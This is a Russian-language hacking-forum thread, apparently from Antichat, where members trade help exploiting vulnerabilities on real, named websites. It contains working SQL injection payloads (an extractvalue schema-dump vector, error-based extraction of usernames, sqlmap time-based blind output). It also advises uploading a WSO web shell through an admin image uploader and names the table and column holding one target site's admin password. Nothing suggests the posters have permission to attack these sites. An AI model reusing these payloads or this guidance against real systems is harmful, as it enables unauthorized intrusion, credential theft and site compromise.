Ваши вопросы по уязвимостям.

Discussion in 'Уязвимости' started by +, 27 Apr 2015.

  1. Waki

    Waki Member

    Joined:
    9 Oct 2015
    Messages:
    55
    Likes Received:
    31
    Reputations:
    10
    нашел blind sql, но при проверки привилегий показывает USAGE, можно только дамп или есть еще варианты?
     
  2. randman

    randman Members of Antichat

    Joined:
    15 May 2010
    Messages:
    1,366
    Likes Received:
    609
    Reputations:
    1,101
    Вектор объединения значений для extractvalue:
    https://rdot.org/forum/showthread.php?t=2860

    Code:
    extractvalue(1, concat(0x3A, mid((X), Y, 31)))
    X = SELECT convert(max(binary reverse(insert(0x3A, 1, 0, reverse(concat(schema_name, 0x0A))))), char(1000000)) FROM information_schema.schemata
    
    Где Y = 1 + I * 31, i = 0, 1, ...

    Но советую вам взять запрос из той темы, через него вы сразу получите и имена всех баз, и имена всех таблиц, и имена всех колонок.

    Скули нет. Второй столбец в таблице business_logs является первичным ключем. Он обязан содержать уникальное значение. Так как туда заносятся текущая дата и время, этого не происходит. Вы же выполняете более чем 1 запрос в секунду? Интересно, как сайт вообще работал.:eek:
     
    #642 randman, 9 Oct 2015
    Last edited: 9 Oct 2015
    AlexG and YaBtr like this.
  3. vikler

    vikler Member

    Joined:
    16 Aug 2012
    Messages:
    93
    Likes Received:
    7
    Reputations:
    0
    Code:
    http://watercorpimagelibrary.com.au
    Какой шелл сюда лить? В админке заливка изображений
     
  4. qaz

    qaz Elder - Старейшина

    Joined:
    12 Jul 2010
    Messages:
    1,552
    Likes Received:
    172
    Reputations:
    75
    а есть варианты? лей wso
     
  5. yarbabin

    yarbabin HACKIN YO KUT

    Joined:
    21 Nov 2007
    Messages:
    1,664
    Likes Received:
    912
    Reputations:
    363
    варианты есть. если там java, то на wso2.php ему будет плевать.
    нужно идентифицировать сервер и в зависимости от этого подбирать шелл. есть статья на оваспе, посмотрите, что делать а таких случаях.
     
    _________________________
  6. vikler

    vikler Member

    Joined:
    16 Aug 2012
    Messages:
    93
    Likes Received:
    7
    Reputations:
    0
    на оваспе - это где?
     
  7. BabaDook

    BabaDook Well-Known Member

    Joined:
    9 May 2015
    Messages:
    1,069
    Likes Received:
    1,565
    Reputations:
    40
    То есть
    PHP:
    SELECT FROM ru_video WHERE dateQ №1064You have an error in your SQL syntaxcheck the manual that corresponds to your MySQL server version for the right syntax to use near '-20,20' at line 1
    можно смело бросать всё. там параметр принимает число, если утереть или поставить букву вот таоке происходит
     
  8. yarbabin

    yarbabin HACKIN YO KUT

    Joined:
    21 Nov 2007
    Messages:
    1,664
    Likes Received:
    912
    Reputations:
    363
    пару страниц назад XAMEHA писал по этому поводу. ничего не получится
     
    _________________________
    randman likes this.
  9. BabaDook

    BabaDook Well-Known Member

    Joined:
    9 May 2015
    Messages:
    1,069
    Likes Received:
    1,565
    Reputations:
    40
    Спасибо, так и думал
     
  10. ButilkaSoka

    ButilkaSoka Member

    Joined:
    4 Jun 2015
    Messages:
    22
    Likes Received:
    12
    Reputations:
    0
    хелп.
    сканер нашёл blind sql. Что делать с url такого типа?
    если менять значения sleep, то ответ изменяется в соответствии со значениями. sleep(6)=6 сек.
    Code:
    _ttp://megakeys.ru/news/if(now()=sysdate(),sleep(6),0)/*'XOR(if(now()=sysdate(),sleep(6),0))OR'"XOR(if(now()=sysdate(),sleep(6),0))OR"*/
    куда копать в таком случае?
     
  11. kacergei

    kacergei Member

    Joined:
    26 May 2007
    Messages:
    253
    Likes Received:
    87
    Reputations:
    1
    Нашел на сайте уязвимость в итоге нашел root доступ (подключился по ssh) искал файлы сайта так и не нашел
    Как узнать путь?
    Доп. Информация: http://pastebin.com/ppPSZ4FH
    P.S>Ошибок не выводит на сайте
     
  12. yarbabin

    yarbabin HACKIN YO KUT

    Joined:
    21 Nov 2007
    Messages:
    1,664
    Likes Received:
    912
    Reputations:
    363
    конфиги веб сервера
     
    _________________________
  13. kacergei

    kacergei Member

    Joined:
    26 May 2007
    Messages:
    253
    Likes Received:
    87
    Reputations:
    1
    Перепробывал различные пути (почти все) с прикрепленной темы тут на форуме (Default *log, *conf files locations), так же на rdot'e смотрел, а может быть такое что с локалки тянуться файлы?
     
  14. WallHack

    WallHack Elder - Старейшина

    Joined:
    18 Jul 2013
    Messages:
    288
    Likes Received:
    133
    Reputations:
    28
    Кручу error-based руками
    Такой запрос возвращает данные из колонки username
    Code:
    site.ru/add.php?site=' and (select 1,2 from(select count(*),concat((select username from users limit 0,1),floor(rand(0)*2))x from users group by x)a) and '1'='1
    Можно вывести сразу id, username ?
     
  15. Waki

    Waki Member

    Joined:
    9 Oct 2015
    Messages:
    55
    Likes Received:
    31
    Reputations:
    10
    Code:
    http://24rabota.kz/searchr.php?srrazdel=302&srpodrazdel=305&srcountry=27&srregion=28&srcitys1=31&srprofecy=qwe&agemin=&agemax=&srzp=&srzanatost=%CF%EE%EB%ED%E0%FF&srgrafic=%CF%EE%EB%ED%FB%E9%A0%E4%E5%ED%FC&srgender=%CC%F3%E6%F1%EA%EE%E9&srcomment=zxc&per=30&maxThread=10&submit=%C8%F1%EA%E0%F2%FC
    
    Code:
    Parameter: srrazdel (GET)
        Type: AND/OR time-based blind
        Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
        Payload: srrazdel=302 AND (SELECT * FROM (SELECT(SLEEP(5)))CqyI)-- uaIw&srpodrazdel=305&srcountry=27&srregion=28&srcitys1=31&srprofecy=qwe&agemin=&agemax=&srzp=&srzanatost=%CF%EE%EB%ED%E0%FF&srgrafic=%CF%EE%EB%ED%FB%E9%A0%E4%E5%ED%FC&srgender=%CC%F3%E6%F1%EA%EE%E9&srcomment=zxc&per=30&maxThread=10&submit=%C8%F1%EA%E0%F2%FC
    
    Только дамп или что-то еще можно сделать? При проверке прав отобразилось только USAGE
     
  16. MaxFast

    MaxFast Elder - Старейшина

    Joined:
    12 Oct 2011
    Messages:
    575
    Likes Received:
    148
    Reputations:
    94
    select id,0x3a,username from users limit 0,1
     
  17. WallHack

    WallHack Elder - Старейшина

    Joined:
    18 Jul 2013
    Messages:
    288
    Likes Received:
    133
    Reputations:
    28
    Выводит: Operand should contain 1 column(s)
    Code:
    site.ru/add.php?site=' and (select 1,2 from(select count(*),concat((select id,0x3a,username from users limit 0,1),floor(rand(0)*2))x from users group by x)a) and '1'='1
     
  18. yarbabin

    yarbabin HACKIN YO KUT

    Joined:
    21 Nov 2007
    Messages:
    1,664
    Likes Received:
    912
    Reputations:
    363
    объедините в concat
     
    _________________________
  19. Br@!ns

    Br@!ns Elder - Старейшина

    Joined:
    3 Sep 2010
    Messages:
    915
    Likes Received:
    120
    Reputations:
    25
    зайдите в админку, и пробуйте шелл залить. пароль в таблице adminip, колонка pass. аджминка по адресу admin.php
     
    Waki likes this.
  20. Waki

    Waki Member

    Joined:
    9 Oct 2015
    Messages:
    55
    Likes Received:
    31
    Reputations:
    10
    спасибо, могу узнать о ваших методах? довольно быстро получили собрали необходимую информацию.
     
Loading...